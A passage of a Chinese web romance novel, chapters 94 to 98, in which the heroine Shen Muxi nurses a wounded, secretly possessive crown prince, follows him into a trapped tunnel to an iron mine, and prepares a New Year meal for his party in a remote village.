离阙依旧是那副冷冰冰的样子,只说了一句“谢过”,便进了屋子。
不过沈木兮却发现,他身上比之前多出了几道伤。
离阙本就是掩护她走的,身上受伤不奇怪,但那些伤……不像是敌人弄的伤口,反而像是……惩罚。
因为从刀口的大小和角度,像是他跪在地上,毫无反抗,被人生生划出的口子!
谁在惩罚他?
“殿下你醒了?”
屋中传出楚清鸢的声音!
打断了沈木兮的古怪思绪,她心中一动。
他醒了吗?
她下意识正要进去看看,可刚被打开的门,又被里面的人关上了。
“……”
沈木兮真的是被气笑了。
果真够现实和无情的啊,救完了人就把她丢开了。
但转瞬,她也觉得自己没有继续留下的必要。
既然照顾他的北辰景的人已经出现了,那现在她和他,正好也能桥归桥路归路。
心中打定主意,沈木兮转身。
然而……
过了没一会儿,小屋窗外,慢慢又冒出一道垫着石头,贼兮兮眯着眼,眼神谨慎的身影。
走,是肯定得走。
但介于上次这个楚小姐,有爬储君床的嫌疑,她觉得还是得留下再看看。
再说了,这些人,要么是个武夫,要么就是个娇养大的小姐,懂什么是照顾病人吗?
屋中,北辰景的确醒了,但也只是醒了那么一瞬,很快他闷哼一声,又昏睡了过去。
而楚清鸢,便拿着沈木兮之前准备好的木盆和帕子,给他擦拭脸。
沈木兮这看着看着,眯起的眼神逐渐变得几分不爽利了起来,甚至还有些咬牙切齿……
这人真是,是她的东西吗就动?!
砰。
门被**力的潇洒踹开。
还在给北辰景擦身子的楚清鸢,被进来的沈木兮一撞,手中的盆子也被她抢了回去。
沈木兮这一套动作下来,行云流水,挑眉看去楚清鸢,还拍了拍身上的灰土。
不是她说,这娇怯怯的小姐,照顾得明白不?
自己在这冰雪天地里怕都够呛!
在楚清鸢回过神前,手里已经被沈木兮塞了一团泥巴。
“大小姐,还请你一边玩去吧,这里还是我来。”
“……”楚清鸢像是头一次见这样粗鲁的女子,想说什么:“你!”
这边床上的北辰景,突然闷声咳嗽了起来。
他捂住心口,眉心都揪成了一团,好似很难受的样子。
沈木兮脸色一变,也懒得和那楚清鸢废话,赶紧蹲下身给他拍背顺气!
“快,离缺,先去拿点热水来。”
她全然没看到,身后原本满眼愠怒的楚清鸢,在听到北辰景的咳嗽声后,那一刹往后退的步伐,和瞬间恭敬的眼神。
离阙赶紧倒了热水递来。
他想喂殿下的。
却被沈木兮一把夺了去。
她撑起身侧这个柔弱不能自理的男人,一点点给他喂下。
一边喂,还一边不忘擦拭掉从他嘴角滑落,溢到胸前的水渍。
不得不说,她的确很仔细又小心,连他沾水侵湿的发丝都被她轻轻梳理铺平。
沈木兮照顾得太认真。
丝毫没注意骤然安静下来的四周,几乎是没有一个人敢吭声。
整个屋子里,只剩下她忙前忙后。
过了好半晌,等到沈木兮累得快直不起腰时,才注意到了退去一旁,和她大眼瞪小眼的几人。
楚清鸢晃了晃神,很快又恢复了那对沈木兮针锋相对的模样。
不知她是被沈木兮的架势给吓住,还是怎么,虽是和沈木兮不对盘,但始终不敢再上前来了。
沈木兮看着她眼中对自己的敌对,眉心一蹙,没多大在意。
她一边收拾木盆帕子,一边说:“那个,我就是怕你们照顾不过来。放心吧,我自己会走的,不会在这耽搁你们太久。”
离阙看了看她,没说话。
天又逐渐暗了下来。
沈木兮见外面的雪已经停了一日,大概这几日是不会继续下了,便打算今夜一过,明日就启程。
“喏,这是我准备的一些甜枣,若是他吃药的时候不听
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话,你就把这些放在药里,他便会喝了。”
“还有,伤药那些我都放在……”
沈木兮噼里啪啦说了一堆,也不知离阙听进去没有,总归他总是这一副木头脸样子,她实在很难洞察他的情绪。
“好了,反正都在这了!明日天一亮,我就会……”
离开两个字还在唇边,却被外面陡然呼啸而起的冷风掩盖!
离阙顿时觉察到了什么,按在腰间长剑上:“追兵来了,这里不能待了,快上马车!”
沈木兮看去外面不再平静的山风,那句“咱们不如就此别过”还没说出口,方才她交给离阙的包袱,转而就被离阙塞回给了她!
“快,先带殿下上车!”
里面的楚清鸢,好似被这阵仗吓坏了,竟动也不动。
沈木兮:“……”
好吧,她好像又走不了了。
是以……莫名其妙的,沈木兮又被迫继续和北辰景一行人一路同行。
等到她好不容易把北辰景带到车前,同离阙一起,把“娇弱”的太子殿下搀扶进车里,方才吓得路都走不了的楚清鸢,又冒了出来,比沈木兮先一步上了车内。
她拉下帘子,笑里藏刀的说:“姑娘,这车里坐不了那么多人,还请姑娘去后面那辆车吧。”
“……”
沈木兮的反骨瞬间被激起来了,甩开帘子,直接坐了过去。
“人多目标大,一辆马车正好。”
倒不是她想和这楚清鸢斗法,只是方才搀扶北辰景的时候,他身上像是又烫了起来,她实在担心他夜里伤势会加重。
外面,坐在车头的离阙也出声,不算是直接附和沈木兮的话,但话里也是这个意思:“一辆车安全,走吧。”
薛清鸢轻哼了声,只能咬牙咽下这口气。
沈木兮朝着她耸肩挑眉:少数服从多数,劳烦小姐你勒。
她不再看薛清鸢,给北辰景拉了拉身上盖着的被褥,也抱着身子,团在一边靠着马车睡了过去。
她闭上眼的那一瞬,对面的男人倏地睁开了眼。
就这样和环胸睡着的她面对面……
车厢暗光里,他的红唇悄然勾起。
带着阴湿蛊惑:
‘你还是乖乖回到我的身边了……对吗’
‘这是你自己主动回来的……’
欢迎……回家。
第94章 她真不是女流氓
沈木兮陡然睁眼,背脊无声发麻。
欢迎回家……
是谁在她耳边说话!
一睁眼,对面的男人依旧双眼紧闭,脸上带着低热不退的微红,气息平稳,保持着方才的姿势,连被褥的褶皱都没变过,依旧是在昏睡中。
可方才,她真的好像……有感觉到,他就在自己身前,和她这样面对面对视,轻轻……幽幽……凑在她耳边说话。
沈木兮赶紧坐起身,掀开车窗帘子,对着外面冬雪依旧的山林,大口呼了口气,算是平稳了心绪。
旁边,楚清鸢也抱着身子睡着了。
北辰景更是没有一点动静。
一切都未有半分异样。
是她感觉错了吧。
她继续裹了裹身上的衣服,这一次,不敢和他离得太近了,头也只敢朝着外边。
夜,悄然过去。
那离阙小子是真的猛,身上带着伤,也能坚持着连夜驾车撤离。
等到第二日的清晨朝霞洒下时,他们已经成功离开了之前那片危险之地。
本来沈木兮打算,帮他们逃离出来就走的。
没想到其他人动作比她还快。
离阙把马车停靠在溪流边,**了自己身边仅存的手下,在雪地上写写画画,计划着接下来的路。
薛清鸢也和小芷出去了,说是去找些吃的。
现在只剩下沈木兮在马车里,自顾自大眼瞪空气。
倒真放心她啊。
沈木兮抬起的屁股,只能又硬生生坐了回去。
抬手试了试北辰景的额头,已经基本退烧了,应该很快就没事了。
那就这最后一天吧!
等他完全恢复,她就必须要走了。
沈木兮眼神坚定,这一次,不是说笑的。
这时离阙朝她走来:“我们要出去一趟,你留下。”
“……”使唤的真利索。
也不等沈木兮答应与否,离阙带着地形图和身边人就走了。
沈木兮余光偷瞥了眼地形图。
那是张陈旧发黄的羊皮纸,看着上面的图画,像是一座矿山的样子。
难不成,这是那个铁矿山的地图?
这附近便是铁矿山的地界了吗。
难怪这一路行来,没有看到北辰殷,估计是特意为了兵分两路,引走身后的人。
沈木兮被迫留下,只能在车里干等着。
说实在的,以前她和谢景愿整天到晚的待在一起,犹记得那时猎林山顶大雨,不偏不倚淹了她的床,她甚至一连几夜和他硬挤睡在一张床榻过……可此刻这样的独处,她却觉得有些说不出的古怪。
沈木兮一直在往外面张望,等着楚清鸢回来。
等了快半个多时辰,依旧没见任何身影。
她再一次失望地收回眸光。
刚转头,她的眼神蓦地和对面,已经清醒过来的男人幽眸对了个正着。
沈木兮一愣。
那一瞬,空气里瞬间弥漫着尴尬的氛围。
他不知是何时醒的,已经坐靠在软榻上,额前发丝垂落,因为重伤,此刻歪头靠在偏暗的车厢里的样子,看着有几分阴森鬼气。
整个车厢里,就只能看到他那张,几乎是镶嵌进黑暗里苍白的脸。
他没说话,只这样盯着她。
平视,又冷漠。
沈木兮眼神乱瞟,一时间也不知自己该说什么。
一时间氛围更显得诡异。
还是她咳嗽了一声,尴尬地伸出手指头戳了戳外面的方向:“你的人,出去了,让我在这守着你。”
良久,他才收回淡漠的狐狸眸。
“谢谢。”
沈木兮又是一怔。
两个字,简单直接,却又把两个人的关系梳理得清清楚楚。
她只是个救了他的人。
除此之外,没有任何关系。
沈木兮回神,也微笑点头,表示回应。
然后别开眼眸,坐去了更远的位置。
其实现在两人这样的关系,挺好。
正好,这也是她想要的。
可是转开脸的下一刻,她却是深深皱起眉心,好像心里有什么地方,有些沉闷。
不太深,但又是真的存在。
很那一抹异样很快又被沈木兮掩藏,再次抬头时,她已经恢复如常。
才安静不到半晌的马车里,又响起了动静。<
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br>听到声音,沈木兮转身,惊讶扬眉:“你做什么?”
北辰景随意的把肩头处的箭伤用纱布再缠了一圈,然后起身掀开帘子,身影踉跄,直接出了马车。
“喂?你去哪儿?”
沈木兮瞪大眼睛,只能跟着一起跳下马车。
他身上的伤都还未好,要去何处?
“你要去哪里?他们很快就会回来了,你……”
见他不理会自己,沈木兮只能硬着头皮追了过去,伸手一抓,却只拽住了他的衣服。
唰……
许是他本就穿得松松垮垮,沈木兮这样一抓,那外袍……就那样从他的肩头滑落!
他一转头,衣袍随着灰白青丝从肩头垂下。
露出他白如纸的透白肌肤,和胸前血迹尚存的结实肌理……他看来的狐狸眸,也逐渐从一开始的惊诧,变成了迷离幽怨,然后轻挑眉头。
沈木兮:“……”
她下意识别开眼神,然后咽了口唾沫!
那个,误会啊,真是误会。
“对、不住对不住!我不是故意的。”沈木兮赶紧上前,蹲在地上要拾起他散落的外衣。
他却已经先俯下身,冰凉的指尖按住了她的手。
沈木兮的心都要跳了出来。
都是她这死手,死手啊!
她仰头。
他俯身。
仿佛曾经二人的位置,此刻调了个转。
在他的唇,快要抵至她眉心时,冷冰冰勾起,从她手中夺过了他的衣摆。
“下次,小心点。”
竟像是在关心她?
但语气又有些冷,倒更像是在警告。
他拢上衣服,转身抬步。
沈木兮好半晌才反应过来,吐出一口气!
只觉他方才抵在她眉心说话的湿热男人气息,还在她的肌肤上,寸寸厮磨,酥酥痒痒。
等她再次抬头,他已经抬步走了很远。
颀长背影在雪地里也是高贵的,但脚下踉踉跄跄,俨然是没恢复好。
哪里学的坏习惯?这么不怕死!
沈木兮皱起眉头。
最后还是从地上爬起身,咬了咬牙,跟了过去。
第95章 我终于,找到你了
万一北辰景死在了这外头,离阙那木头非得说是她的原因。
那她不是完犊子了。
冰木头可是没一点人情味的。
只是沈木兮跟上也不敢靠得太近,隔了三米的距离。毕竟方才的那羞耻一幕,可还在她脑海里回荡,怎么也甩不掉。
好端端的,她扯他衣服干什么?
加上上次“偷看”他换衣服,他会不会真把自己当成了“女流氓”吧。
沈木兮在后面默默头脑风暴……
全然没注意前面男人突然驻足的身影。
她就这样闷头对他后背撞了过去。
“……”又来!
沈木兮还没说话,就听他低语:“右边。”
什么?
他已经先抬步,朝着右前方走了。
沈木兮后知后觉。
他这竟是在提醒自己吗?
心中一动,沈木兮下意识又朝着他的方向看去。
身为太子的他,许是有了这高贵华袍的衬托,即便是瘦了,那身躯也比她记忆里的更为高挺,肩膀亦是更加宽阔。
好像,可以为她挡去很多的风雨。至少,此刻是。
沈木兮甚至还发现,他……好像一直在刻意减缓速度等着自己。
虽然他伤重未好,脚步踉跄,但有双超绝大长腿,步伐并不慢。
沈木兮每走一段路途再抬头,都觉得原本离得很远的他,又莫名的缓了下来。
即便如此,他依旧和她保持着一段“陌生人”该有的礼貌距离。
她在后面皱眉古怪沉思。
前面的人也微侧头看来,阴湿幽眸里闪过微妙的色泽。
等她再抬头,他已经走了很远。
仿佛方才的一幕,只是沈木兮看错了。
沈木兮眉心皱得更紧了,她没说话,在雪地里,屁颠屁颠跟了过去。
不得不说,北辰景的洞察力真的一绝。
也可能是他早就把地形图熟背于心,很快就找到了一道隐藏在深山里的入口。
若是沈木兮没猜错的话,这个入口,便是通往那个铁矿山的路。
地上还有一些脚印,想来便是离阙等人的。
去了这么久也没回来,怕是事情不妙。
难怪北辰景要亲自来。
沈木兮又忍不住侧头看了眼他。
这个铁矿山的地形图,若按照剧情走向,现在本应该是在夜王手中的。
他居然能弄来,生生改写了原文剧情。
还真有他的。
原本满脸欣慰的沈木兮,又露出了几许轻微的心疼。
从一无所有的回宫,到今时今日,想来,他这一年来,在京城也吃了不少的苦吧。
“跟上。”
冷冰冰的语气从前面传来,带着上位者的发号施令。
沈木兮:“……”
刚还在心里头夸两句呢,这就给脸色看了。
真是长大了!
先前的那入口是直接通往山体内部的,里面十分幽暗。
北辰景拿出身上带着的一颗夜明珠,才有了暂时的光亮。
但因为夜明珠的光晕太浅,为了安全,沈木兮只能缩短二人之间原本“礼貌”保持的距离。
越是往里走,不仅仅空气越发稀薄,路也越发的狭窄。
原本两人还能并排走,现在只能硬生生挤在了一起。
一前一后。
互相靠贴着。
沈木兮只能闭着眼,努力让自己别和他靠得太近。
可一顿一行的,密道里又黑,她的身子还是止不住总他身上时不时贴去。
这时,山洞密道前方,突然传来一道响动。
嗖!
沈木兮一惊。
比她先动作的,是前面的男人,他一个侧身,为了躲避那从里面射出来的机关暗箭,身子贴去对面的墙壁上!
在暗箭堪堪擦着他侧脸射走时。
原本还一前一后的两人,此刻瞬间被迫变成了面对面!
密道太过狭窄,这一刹,两人完全是互相紧贴着了对方。
而他的下颚,几乎就抵在了沈木兮的眉心上!
两人的呼吸更是缠绕在了一起……随着两人的胸腔,一同起起伏伏……
咕噜……沈木兮心跳猛地加速,猛地吞咽了一口唾沫!
伴随着她喉头的滚动,她的眼神也开始无措的,上下胡乱瞄着……
“前面没路了。”他说,声线是极致的平静,听不出丝毫起伏。好像被困在险境中的人,不是他。
反倒
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是显得沈木兮不冷静了。
现在没路了,那离阙他们去了何处?沈木兮在心中想。
而这时,对面的男人突然眯起暗冷眸子,歪着脖子盯住了她。
沈木兮的呼吸……骤停。
还不明白他这是要做何,只知道他暗色下的红唇冷冷勾起,已经朝着她的脸凑了下来。
她顿时傻住了。
他……他他这是要干嘛?
两人的距离,越来越近。
沈木兮双眼瞪圆,她已经能感觉到,他朱唇边的湿热呼吸,已经喷洒在了自己的唇上。
上次被他强吻的记忆,瞬间喷涌而来。
沈木兮紧抿双唇,下意识别开脸!
可就在她动作的下一刻,他的唇只是擦着她的脸颊旁而过,并没有要吻她的意思。
“?”
将身侧女子的窘迫尽收眼底,黑暗里,他的唇边弧度更大了。
沈木兮面色有些僵硬,根本没注意其他,她咳嗽一声,在想找个话题缓解尴尬时。
突然又听得那正俯身压在她耳侧的他,冷笑着低语了句:“我终于,找到你了。”
沈木兮惊住!
刚平稳下的心绪,又被吊了起来!而这一次,却是浑身刻骨的冷意……
她的神情也倏地变得紧张和惊惧!
他……!
却见北辰景伸手,擦着她耳边,按下了她身后的石壁凹陷。
咔嚓一声。
沈木兮的身后,蓦地出现了一道暗门!
暗门刚一打开,对面就传来了一道熟悉的声音。
“是殿下吗?”
是离阙。
原来,他们也找到了机关,来到了这里。
北辰景没有再理会脸色变化如调色盘的沈木兮,从她身边穿过,径直走去了暗门之后。
所以,他方才那话中指的,是这个机关吗?
吓死她了。
沈木兮偷偷松一口气,也跟了过去。
看到暗门后除了离阙外的其他人时,沈木兮眉心倏地凝起,因为……楚清鸢和小芷居然也在这。
她们?不是去了找吃的了吗?
怎会在这里和离阙碰面。
沈木兮敏锐地觉察到了什么……一直被她忽略的东西。
第96章 还是和以前一样的离不开他
在她陡然生出疑心的下一瞬。
楚清鸢一瘸一拐地站起身,惊喜地看着苏醒来的北辰景,满脸关怀:“殿下醒了?只要殿下无事就好。”
离阙走过来,对北辰景抱拳回禀。
“殿下,方才楚小姐在外时崴了脚,属下想让她们这样回去也不安全,我便带着她一起来了。”
沈木兮摸下巴,
嗯,倒是个解释。
可她始终还是觉得哪里怪怪的。
不过接下来,她的疑心,在看到楚清鸢那的确高肿着的脚踝时,又消除了大半。
那么红,怕是摔得不轻。
许真是她想多了吧。
北辰景抬头看去楚清鸢:“没事吧。”
“我没事,谢过殿下关心。”
他的询问很平静,好似只是照例的随意一问。楚清鸢的回答也很简单。
可旁边的沈木兮,却不知为何,微微皱紧眉头。
自打楚清鸢出现后,北辰景好像就完全没有再理会沈木兮了。
其实,方才两人独处这一路,他也没怎么搭理过她。
此刻的北辰景和楚清鸢二人,还走去了旁边,像是在低声说着什么。
距离不算近,但也不算远。
沈木兮躲在离阙身侧,借着离阙的身子掩护,偷偷看着前面两人。
奈何隔了一段距离,沈木兮就算完全竖起耳朵,也什么都听不清。
再往上抬头,便对上离阙那冷冰冰的视线。
“咳咳……”她尴尬咳嗽一声,假装给离阙拍肩头的灰,“那啥,今天天气不错啊。”
离阙往上看了眼密不漏风的密室石顶。嗯,是怪不错的。
一行人**后,在这简单的休整,在没有发现其他路后,只能暂且折返。
这密道四处都是机关,时不时还有暗箭偷袭。
现在外面冰天雪地,若是准备不妥,一旦在这里受伤,指不定命都保不住。更别说,北辰景身子本就还没恢复。
是以大家经过北辰景的同意后,都一致决定暂且回去,在附近找个地方先落脚再说。
反正铁矿山的位置已经找到了,也不差这一时半会儿。
北辰景和楚清鸢一前一后走在前面。
沈木兮特意等他们两人出去后,才绕到了离阙的身后。
离阙:……老和他凑这么近干嘛。
他还不想死啊。
为了小命,他只能默默加快速度。
他一走,沈木兮也麻溜的跟了过去。
就这样,在这诡异的氛围里,一行人前前后后的行着,谁也没有说话……直到快到出口时,密道里传出一道沉闷声响!
沈木兮因为走在最里面,听到的动静最大。
等她反应,密道里已经开始剧烈摇晃起来!
不会又是地震了吧?
借着出口的微弱光线,她已经能看到身下地面上裂开的缝隙。
而身后的那个密道小路!正在以肉眼可见的速度,朝着地下凹陷垮塌!
沈木兮惊呆了。
居然是一次性的路吗!
“快,大家都快出去!”她回过神出声呐喊,也准备赶紧朝着出口跑去。
因为出口就在前面了,走在前头的人,基本都走出了山洞密道,暂且无事。
可沈木兮却糟糕了。
她脚边的裂缝,已经开始越裂越大……!
又是轰隆一声!
沈木兮身子一个后仰,瞳孔瞪大,眼看着就要顺着那垮塌的密道跌落下去。
一道身影席卷着外面的风雪出现,强有力的臂膀已经拽过她,将差点要跌入深渊的她,牢牢扯向自己怀中!
黑暗里,沈木兮看不清他是谁,只猛地砸进了他的胸前!
沉闷一声响……
不算刺耳,却是让沈木兮一震。
紧接着,那随着他的呼吸,携带而来的丝丝血腥味,弥漫到她的鼻息间!
好像是对方身上的伤口,因为方才这一救人的动作,突然间裂开了。
这怀抱。
这熟悉的感觉……
沈木兮眼眶顿时湿热,身子微微颤抖,想抬头看去对方的脸。
可密道太暗,即便借着出口的微光,也什么也看不清。
只见着一团黑影。
等到一番天旋地转,在沈木兮呆愣片刻后,被人从黑暗里救出来,她才看清了对方。
外面的亮光刺来,刚从黑暗出来的沈木兮,双眼一阵刺痛,等眼前光影恢复……面前之人的脸,也逐渐显现。
“离……离阙?”
离阙看来的眼神一瞬躲闪,以最快的速度放开了她,握拳咳嗽着站在一旁。
沈木兮愣住了,眉心紧蹙。
前方,北辰景依旧和楚清鸢前后站在一起,和她距离只远不近。
沈木兮站在风雪里,竟有一瞬的恍惚。
不过,细细一想也是不可能的,方才他已经在出口了,自己分明在最后的位置。他怎么会那么快,就闪现救了自己?那不得眼神时刻在她身上,才能做到。
而前面那个一直目视前方的他,很显然,是从未看她的。
至于那血腥味。
离阙本也受了伤,便不奇怪了。
想通这点,沈木兮深呼一口气,压下心头那一瞬的异样,对离阙说了一声谢谢。
离阙不说话,只望
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天。
队伍继续前行,不多时回到了马车停靠的地方。
密道被毁,他们想找到另外的路,怕是要花些时间。继续按照之前的计划,准备在附近,找到一处人家,暂且休整。
沈木兮想,既然他们已经有了行程,那接下来的路,她应该不用陪同了吧。
她去马车上拿了自己的包袱,转身来到北辰景等人的跟前,提出最后一次的告辞。
离阙看了眼谁,随后眼观鼻鼻观心,这一次,他没有再莫名其妙的去拦她。
而前面的北辰景,一直目视前方,没有说话。
那就是默认点头了。
沈木兮得到了想到的结果,背上包袱,准备踏上自己的行程。
冷风拍打在她的脸上,沈木兮脸上的告别笑意,也在转身那一瞬,骤然消失,双唇紧抿,眉心绞成团……
她才刚走几步。
冷风加剧。
咚!
身后传来一道沉闷声响,像是有人倒地了。
“殿下!”
她当即回身。
北辰景倒在地上,肩头上的伤口,不知何时,已经裂开,大片大片的鲜红!
离阙不敢耽搁,赶紧和其他人带起他,着急上了马车,去往了附近的村民居所。
一行人准备驾车离去。
所有人都忽略了沈木兮。
迟疑一瞬,她还是忍不住疾步上前,偏头望去车内情景:“他怎么样了……”
却被刚上车楚清鸢一把推开,她眼神发冷。
“都是你的错!若不是你没看好殿下,殿下也不会再次晕倒。”
“是你!都是你!”
沈木兮被推得一个趔趄,脸色微白,脚下原本要走的步子,是怎么也挪不动了。
她皱眉,看着逐渐前行去的马车。
抓着包袱的手,松了紧,紧了松。
最后,她忍不住低骂了句!
该死啊……
她这该死的愧疚心!
“喂!等等,我也去!”
沈木兮抬步追来的同时。
她没有看到,方才在她跟前尚且还一脸凶狠的楚清鸢,在进了马车那一刻,瞬间变得恭敬的样子。
更不知,那仰头靠在车壁里的男人,垂在身前,满是鲜血滴落的手。
若是细看,他肩头的伤,原本只是轻微的发裂。此刻的鲜血横流,倒像是被他自己生生捏的……
马车里满室的诡异寂静,他身侧的所有人,包括离阙在内,都低垂着头。
只有男人唇边那抹病态的殷红,在黑暗里持续弥漫……
瞧,她还是这样的离不开他。
永远……都离不开。
第97章 他曾找了她一整夜吗?
沈木兮赶到他们落脚的村落时,已经过去小半个时辰了。
她看着眼前人来人往的村屋,几番想上前问问北辰景的状态,可谁都不搭理她。
连离阙都是目不斜视,视她为无物。
她也不好直接跑进去,只能在外面等着。
这一等,就等到了天黑。
离阙终于出来了。
他的脸色不是太好,看沈木兮的眼神,比起楚清鸢看她时的怨怼,也好不到哪里去。
沈木兮赶紧站起身:“你家殿下,他……”
“拖你的福,没死。”离阙的话冷冰冰的,比他以往还要冷个好几度。
沈木兮脖子一哽,突然有点心虚。
要说北辰景再次晕倒,和她有关系呢,关系也不大,毕竟是他自己不要命的跑出去。
但要说真的没关系,好像也有那么一丁点的关系。
到底是她没把人看住。
“我家殿下,自打回宫,身子就一直不好。”离阙从鼻子里哼出一道冷气,“这次回宫,不知道又要养多久。”
“他身子不好?不可能。”
沈木兮皱眉否认。
她一直有在好好养他,即便后面被夜王抓去受尽折磨,但很快也恢复了。
“你怎么知道不可能,你认识我们殿下?”
“……”
离阙这个冰疙瘩今日的话,好像异常的多,又像是对沈木兮的成见,已经到了忍耐的极限,终于是忍不住爆发了。
“真是站着说话不腰疼,你在大雪夜,去待一整晚试试呢!”
大雪夜……一整晚。
沈木兮的心房,像是被什么狠狠撞了撞!一阵绵密的刺痛……
那一夜,他在大雪里,找了她一整晚吗。
沈木兮脸色苍白,脑海里全然是他那日半昏半醒时,对着她阴狠又委屈的质问。
‘你为什么要丢下我……’
‘为什么……留我一个人……’
沈木兮身子微微晃了晃,撑住旁边的门板,抬起酸涩发红的双眼,小心地看向小屋……却被发现她的楚清鸢挡住了视线。
楚清鸢还故意拉下帘子,甚至把门关上了。
那一夜,他是不是受了很多的苦。
忽地又忆起他的那截白发。
沈木兮的心更像是被什么给揪了起来。
生疼……生疼……
“你可以走了,之前是因为人手不够,才麻烦你的。薛姑娘,请吧!”离阙的冰冷声音再次传来。
沈木兮缓缓转过身,一句话没说。
离阙说完就进了屋子,不再管沈木兮。
等过了一个时辰,他再次走出来时,发现外面已经没了她的身影。
真走了?
离阙环顾了一番四周,没有去多管。
经过离阙等人的细心照顾,北辰景在次日苏醒了过来。
大家一整夜都在为主子忙前忙活,谁也没有去多注意那个不见了的人。
直到次日清早。
外屋桌前,摆放了一桌精致佳肴。
离阙看了眼,问去身边人:“谁做的?”
众人摇头。
沈木兮从外面走来,手里端着刚煮好的甜汤。
“村里东西不多,大家将就着吃。”
离阙看着她有些意外,正欲说话,北辰景从里面走了出来。
他已经先行落座。
沈木兮看了眼他的面色,见没那么苍白了,松口气,随后盛满一碗瘦肉粥,递到他跟前,小心翼翼的说:“殿下好好补一补身子。”
北辰景看了眼那粥,又抬头看向她。
两人目光直视,他神色淡漠,没什么多余表情。
“你会做饭?”他问。
沈木兮不太敢和他的眼神对视:“嗯,会一点。”
北辰景没说话,只是用他那带着几分病态的憔悴眼眸瞧着她。
她心中有些发虚,是不是他在嫌弃这些粗茶淡饭啊?
只是这个村落,比她和他当初一起住的小村子还穷,这些已经是她尽力找来的了。
北辰景还是接过了碗。
沈木兮呼了口气。
她是为了逃生,离开他,没错。
但在他的世界里,她伤害了他,这一点,也没错。
她只想好好补偿他,至少在他如今还在南下时,尽量弥补。这样即便是今后再也不相见,她
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也能少些亏欠。
“殿下,还是由属下看看这菜能不能吃吧。”离阙眼生警惕说。
言外之意,是怕下毒。
沈木兮:“……”
离阙正要去拿起粥碗,不知是被谁给踹了一脚,身子一个踉跄。
他脸色微变的下一瞬,话锋一转。
“不过话说回来,这穷乡僻壤也不会有什么**。还请殿下放心食用。”
北辰景眼观鼻鼻观心,端起粥浅抿两口。
见他喝下,沈木兮也给其他人陆陆续续盛了几碗。
“大家都一起喝吧,我煮的多。”
却没有一个人敢动。
沈木兮放下筷子,不解问:“怎么了?”
离阙:“我不饿。”
刚说完……便是一阵的咕噜咕噜……
沈木兮眼神狐疑地在离阙这几人,还有不说话的楚清鸢。这是嫌她煮的东西太次?
她耸了耸肩。
嫌弃拉倒。
她看去喝粥的北辰景,眼里生出欣慰的笑意,还是自家景愿乖,吃过山珍海味,当了太子,也不嫌穷饭馊。
刚生出这个想法,沈木兮脸色瞬间一变。
他才不是谢景愿,早就不是了。
一顿早饭,吃了许久。
北辰景许是真饿了,毕竟流那么多的血,足足喝了有三碗粥。
沈木兮见他心情应该还不错,便在这时提了一句。
“后日就是年关了,虽然咱们在这偏远村落,个个负伤,但也不能就这样算了。”
“不如我们就在这过个简单小年?”
离阙瞥了眼端坐着的那位,没出声。
四周一片安静。
沈木兮以为无人回应自己时。
听到对面的男人突然开口:“嗯,可以。”
沈木兮紧张的心,骤然松开,脸上生出灿烂笑意:“那……”
“清鸢。”北辰景转头,看去旁边的楚清鸢,“你想怎么过。”
沈木兮:“……”
——
(题外话:男主现在拿捏女主软肋攻略女主是拽得很哈,等后面追妻火葬场的时候,咱们尊贵的太子殿下就知道哭咯……嗯哼!)
第98章 长寿面
楚清鸢还在愣神,反应过来该她说话了,她当即又换上那副‘恶毒女二’的模样,先是挑衅地睨了眼沈木兮,随后温柔点头:“嗯,都听殿下的。”
北辰景颔首,然后敛眸。
离阙心领神会,对着沈木兮做了个请的手势:“殿下要休息了,姑娘请。”
“喂,我还没吃完呢。”
就这样,还端着个碗的沈木兮,被离阙连请带赶的撵了出去。
门咣当关上,她碰了一鼻子的灰。
真是翻脸无情啊。
沈木兮攥起拳头,对着那门板狠狠地……小发雷霆了一下,随后才转身。
既然要过年,就要有个过年的样子。
无论他是想和谁过,她都得想法子让他过个好年。
打定主意,沈木兮摸出身上仅存的银钱,在心里预估了下,朝着乡镇集市上去了。
“殿下,她……”离阙回来禀报。
暗影里,北辰景做了个手势。
离阙颔首,对旁边的手下说:“跟上,保证安全。”
前往集市的沈木兮,攥着手心里的那些银钱,在心中默默打鼓。
上次从薛家离开的急,没带多少银钱,这段时间吃吃喝喝,现在全身上下,也就这些散碎银子。
也不知够不够。
只能碰碰运气了。
这乡村集市不大,但东西倒是不少,沈木兮转了几个摊位,都是直摇头。
一看就不便宜。
就在沈木兮走到最后一个摊位,又是悻悻而归时。
那坐着睡大觉的年轻摊位老板,起身叫了她:“姑娘,是要年货吗?我这什么都有,灯笼炮仗,还有挂联!”
“不好意思,买不起,我再转转。”
“诶别急别急,也是巧,我今日正好有点急事,这些东西不如便宜卖给你?”
沈木兮竖起耳朵,狐疑地眯眼。
“有多便宜?”
老板想了想,竖起一根手指头。
“这堆东西,都这个数!”
“一……一百两!你咋不去抢。”
“谁说要一百两。”
“一两?”沈木兮还是迟疑了,她这身上怕是一两都不够。
在她转身离去后,老板居然屁颠屁颠跑来!
“一文钱,总行了吧!”
沈木兮:“……”
生怕她不要,老板当场帮忙打包,将东西全部塞进沈木兮手里。
起初,沈木兮以为是这个老板脑子有些毛病,后来接连逛了好几个地方,她才确定,不单单是那老板的问题,是这乡下的乡亲都有病。
她不足一两的家当,足足买下了大半条街的年货。
这年头的物价,她是越来越搞不懂了。
但东西买够了就好。
沈木兮觉得自己今日的运气真是好到爆棚!
回去还遇到了一个同行回村的牛车大爷,本是让她头疼,不知怎么运回去的一大堆东西的,就这样送了回去。
等她把东西搬回来时,已经到了下午。
听到动静,离阙走出来过了眼,又目不斜视地走了回去。
沈木兮也不指望他帮忙,接下来的两日里,她挂上了灯笼,又贴了窗花和挂联。
原本被白雪覆盖,简朴单调的村间小屋,张灯结彩。
一片喜气洋洋。
等到了年关夜,她早早做了一桌年夜饭。
不算太隆重,但鸡鸭鱼肉都有。
这一次,沈木兮说什么也必须得让离阙几人尝尝,谢景愿没什么亲人,这些愿意为他赴汤蹈火的亲卫,就是他的亲人。
一大家子坐在一桌,才算是个好年。
是以她早早就安排好了位置,招呼大家坐下。
可没人坐下。
每个人的脸色,都是冷冰冰的……简直是离阙一号,离阙二号……
沈木兮满是期盼的眼神,蓦地有了一瞬的失落。
还是嫌弃么。
这些家伙未免太挑剔了。
直到北辰景从里面走出,面色如常落座。
离阙等人各自对望,这才一起坐下来。
沈木兮顿时展颜笑了:“大家随便吃,不够我再去煮。”
“喏,楚小姐,我瞧你这几日身子不舒服,便给你熬了一碗红糖水。”
楚清鸢眸光闪烁,恶毒女配的脸有些秉持不住了。
“离阙,你和兄弟们身上都还有伤,这些汤里加了药材,都多喝点。”
